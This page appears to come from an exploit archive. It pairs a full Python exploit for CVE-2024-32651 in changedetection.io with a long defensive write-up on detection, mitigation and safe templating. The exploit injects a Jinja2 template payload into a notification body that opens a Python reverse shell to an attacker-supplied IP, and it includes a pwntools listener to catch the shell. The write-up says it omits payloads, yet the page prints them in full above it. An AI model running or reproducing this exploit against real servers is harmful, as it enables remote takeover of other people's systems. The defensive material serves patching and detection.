changedetection < 0.45.20 - Remote Code Execution (RCE)

Exploit Author: Zach Crosman (zcrosman) Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-05-31
# Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE)
# Date: 5-26-2024
# Exploit Author: Zach Crosman (zcrosman)
# Vendor Homepage: changedetection.io
# Software Link: https://github.com/dgtlmoon/changedetection.io
# Version: <= 0.45.20
# Tested on: Linux
# CVE : CVE-2024-32651

from pwn import *
import requests
from bs4 import BeautifulSoup
import argparse

def start_listener(port):
    listener = listen(port)
    print(f"Listening on port {port}...")
    conn = listener.wait_for_connection()
    print("Connection received!")
    context.newline = b'\r\n'
    # Switch to interactive mode
    conn.interactive()

def add_detection(url, listen_ip, listen_port, notification_url=''):
    session = requests.Session()
    
    # First request to get CSRF token
    request1_headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }

    response = session.get(url, headers=request1_headers)
    soup = BeautifulSoup(response.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
    print(f'Obtained CSRF token: {csrf_token}')

    # Second request to submit the form and get the redirect URL
    add_url = f"{url}/form/add/quickwatch"
    add_url_headers = {  # Define add_url_headers here
        "Origin": url,
        "Content-Type": "application/x-www-form-urlencoded"
    }
    add_url_data = {
        "csrf_token": csrf_token,
        "url": "https://reddit.com/r/baseball",
        "tags": '',
        "edit_and_watch_submit_button": "Edit > Watch",
        "processor": "text_json_diff"
    }

    post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)

    # Extract the URL from the Location header
    if 'Location' in post_response.headers:
        redirect_url = post_response.headers['Location']
        print(f'Redirect URL: {redirect_url}')
    else:
        print('No redirect URL found')
        return

    # Third request to add the changedetection url with ssti in notification config
    save_detection_url = f"{url}{redirect_url}"
    save_detection_headers = {  # Define save_detection_headers here
        "Referer": redirect_url,
        "Cookie": f"session={session.cookies.get('session')}"
    }

    save_detection_data = {
        "csrf_token": csrf_token,
        "url": "https://reddit.com/r/all",
        "title": '',
        "tags": '',
        "time_between_check-weeks": '',
        "time_between_check-days": '',
        "time_between_check-hours": '',
        "time_between_check-minutes": '',
        "time_between_check-seconds": '30',
        "filter_failure_notification_send": 'y',
        "fetch_backend": 'system',
        "webdriver_delay": '',
        "webdriver_js_execute_code": '',
        "method": 'GET',
        "headers": '',
        "body": '',
        "notification_urls": notification_url,
        "notification_title": '',
        "notification_body": f"""
        {{% for x in ().__class__.__base__.__subclasses__() %}}
        {{% if "warning" in x.__name__ %}}
        {{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}}
        {{% endif %}}
        {{% endfor %}}
        """,
        "notification_format": 'System default',
        "include_filters": '',
        "subtractive_selectors": '',
        "filter_text_added": 'y',
        "filter_text_replaced": 'y',
        "filter_text_removed": 'y',
        "trigger_text": '',
        "ignore_text": '',
        "text_should_not_be_present": '',
        "extract_text": '',
        "save_button": 'Save'
    }
    final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)

    print('Final request made.')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Add detection and start listener')
    parser.add_argument('--url', type=str, required=True, help='Base URL of the target site')
    parser.add_argument('--port', type=int, help='Port for the listener', default=4444)
    parser.add_argument('--ip', type=str, required=True, help='IP address for the listener')
    parser.add_argument('--notification', type=str, help='Notification url if you don\'t want to use the system default')
    args = parser.parse_args()


    add_detection(args.url, args.ip, args.port, args.notification)
    start_listener(args.port)


changedetection <= 0.45.20 — CVE-2024-32651: Summary and Risk

In May 2024 a critical vulnerability (CVE-2024-32651) affecting changedetection.io (versions <= 0.45.20) was publicly disclosed. The flaw allows remote code execution (RCE) by abusing how user-supplied notification templates are rendered. Because changedetection is often run as a long-lived service with network access and sometimes with elevated privileges (container or host), successful exploitation can lead to full system compromise, data exfiltration, lateral movement, or persistent backdoors.

Who should care

  • Administrators running changedetection.io (self-hosted instances)
  • Security teams monitoring infrastructure for anomalous outbound connections
  • Developers integrating custom notification templates or running services with templates rendered from untrusted data

Vulnerability details (high level)

The root cause is unsafe evaluation of user-controlled template content. changedetection allowed notification content to be treated as a template and rendered by the templating engine with insufficient restrictions. An attacker able to create or edit a watch/notification could inject template constructs that, when evaluated, access Python internals and execute system commands — resulting in remote code execution.

Important: this description is intentionally high-level and omits concrete exploit payloads and step-by-step instructions. The goal is to explain the nature and impact of the issue while avoiding providing a recipe for abuse.

Impact

  • Arbitrary command execution on the host running changedetection.
  • Possible container breakout or lateral movement if the process runs in a privileged environment.
  • Potential exposure of secrets stored on the host (API keys, tokens, SSH keys).
  • Unauthorised creation of persistent access (backdoors, cron jobs, scheduled tasks).

How the attack works (conceptual)

At a high level the vulnerable pattern is:

  • User-controlled text (notification/template body) is stored.
  • The service later renders that text using a full-featured templating engine that exposes language internals or builtins.
  • Attackers craft template expressions that call into importable modules or builtins (for example, invoking OS utilities) to run commands.

This is a classic template injection problem: when templates are allowed to contain arbitrary expressions and render in a context that exposes dangerous functions, they effectively become a remote code execution vector.

Detection & Indicators of Compromise (IoC)

For defenders, look for the following safe and non-actionable indicators:

  • Unexpected watch/notification entries containing template delimiters such as "{{", "{%", or similar tokens. Search your changedetection datastore for entries with these characters in notification/template fields.
  • Unusual outbound network connections from the changedetection host (especially to unfamiliar external IPs or ports).
  • New or modified user accounts, SSH keys, cron entries, or suspicious startup items on the host.
  • Process activity originating from the changedetection process tree that spawns shells or launches interpreters (python, bash, sh).
  • Unexpected files created in /tmp, /var/tmp or home directories after a watch was added/edited.

Log sources to inspect: changedetection application logs, web server logs (access and error), system audit logs, process accounting, and egress firewall logs.

Immediate mitigations (short-term)

  • If you run changedetection <= 0.45.20, isolate the instance from the network (especially outbound access) until patched.
  • Restrict egress from the host (firewall rules) to prevent command-and-control and data exfiltration.
  • Audit and remove any unrecognized or suspicious watch/notification templates. Look specifically for entries containing template markers and remove or neutralize them.
  • Rotate credentials and tokens that the instance could access (API keys, service accounts) if you suspect compromise.
  • Take a forensic snapshot before making changes if you plan to investigate.

Patching and long-term remediation

  • Upgrade changedetection to a non-vulnerable release. Versions later than 0.45.20 include fixes at the time of disclosure; confirm the vendor release notes and apply the official patch or a vendor-provided mitigation.
  • If you run a packaged deployment (Docker, Kubernetes), pull the updated image and restart the service after validating signatures where applicable.
  • Apply least-privilege: run changedetection in an isolated container or unprivileged account without access to sensitive host paths or credentials.
  • Implement egress filtering and network segmentation so an exploited service cannot freely contact arbitrary endpoints.

Secure coding and architectural mitigations

To prevent analogous issues in other projects, follow these principles:

  • Never render arbitrary user-provided text with a full-featured template engine.
  • If template-like substitution is required, use a whitelist-based substitution engine that only accepts a predefined set of placeholders.
  • Use sandboxed templating only with strong isolation and only if you understand the sandbox’s limitations. Prefer to avoid templating user data entirely.
  • Harden the runtime: run services with minimal privileges and limit available Python builtins/globals during rendering.

Example: whitelist-based safe substitution (recommended)

import re

# Allowed keys and their safe values (populate from server-side trusted data)
ALLOWED = {
    "site_name": "Example Site",
    "watch_url": "https://example.com/watch/123"
}

TOKEN_RE = re.compile(r'\{\{\s*([a-zA-Z0-9_]+)\s*\}\}')

def safe_render(template_text):
    def replace_token(m):
        key = m.group(1)
        return ALLOWED.get(key, '')
    return TOKEN_RE.sub(replace_token, template_text)

# Usage:
# user_template = "Change detected at {{ watch_url }} on {{ site_name }}"
# safe_render(user_template) -> safe substitution only for allowed keys

Explanation: This approach only recognizes a limited, alphanumeric token syntax and replaces values from a server-managed whitelist. Arbitrary expressions or attribute access are not allowed, so the template cannot trigger code execution.

Example: safer use of Jinja2 — avoid evaluating untrusted templates

# Avoid code that directly renders user input:
# unsafe: jinja2.Environment().from_string(user_input).render(context)

# If templating is required, prefer a minimal approach:
from jinja2 import Environment, StrictUndefined

# Configure environment with no auto-added globals and strict undefined behavior
env = Environment(undefined=StrictUndefined)
# Do NOT add dangerous globals to env.globals; keep the context explicit and minimal

# However, even Sandboxed/Safe envs may have limitations. Prefer whitelist substitution.

Explanation: This snippet highlights that if you must use a templating engine, restrict the runtime context, avoid exposing builtins or import mechanisms, and consider using StrictUndefined so unexpected names raise rather than evaluate. Still, sandboxing is not a universal guarantee — whitelist substitution is safer.

Incident response checklist

  • Isolate the affected host from the network (or at least block outbound connections).
  • Preserve forensic evidence (disk image, memory dump, application logs) before rebooting or modifying.
  • Search for indicators described above and list suspicious changes (new users, startup scripts, cronjobs, network peers).
  • Rotate secrets possibly exposed by the instance; revoke API keys and tokens accessible to the service.
  • Rebuild the host from trusted images after complete cleanup; do not rely on the compromised VM/container.
  • Review and apply patches, then re-introduce the service under stricter network and privilege controls.

Detection queries and safe audits

Administrators can perform safe content audits (examples):

  • Search the changedetection datastore for notification/template fields containing template delimiters (e.g., "{{" or "{%") — review and sanitize results.
  • Check recent access logs for unauthorized POST/PUT actions creating or editing watches.
  • Monitor for unexpected outbound connections from the application host immediately after any watch creation events.

References and further reading

  • Vendor/project homepage and release notes (changedetection.io) — consult the official repository and changelog for the exact patched versions and migration steps.
  • CVE-2024-32651 — public advisory identifier for tracking and patching status.
  • Secure templating guidance — prefer whitelist substitution and avoid evaluating user-controlled templates.

Takeaway

This vulnerability underlines a recurrent class of issues: template injection leading to RCE. The immediate priority is to patch vulnerable changedetection instances, isolate and inspect any exposed hosts, and adopt safer templating patterns (whitelists, limited substitutions, and least-privilege deployments) to prevent future occurrences.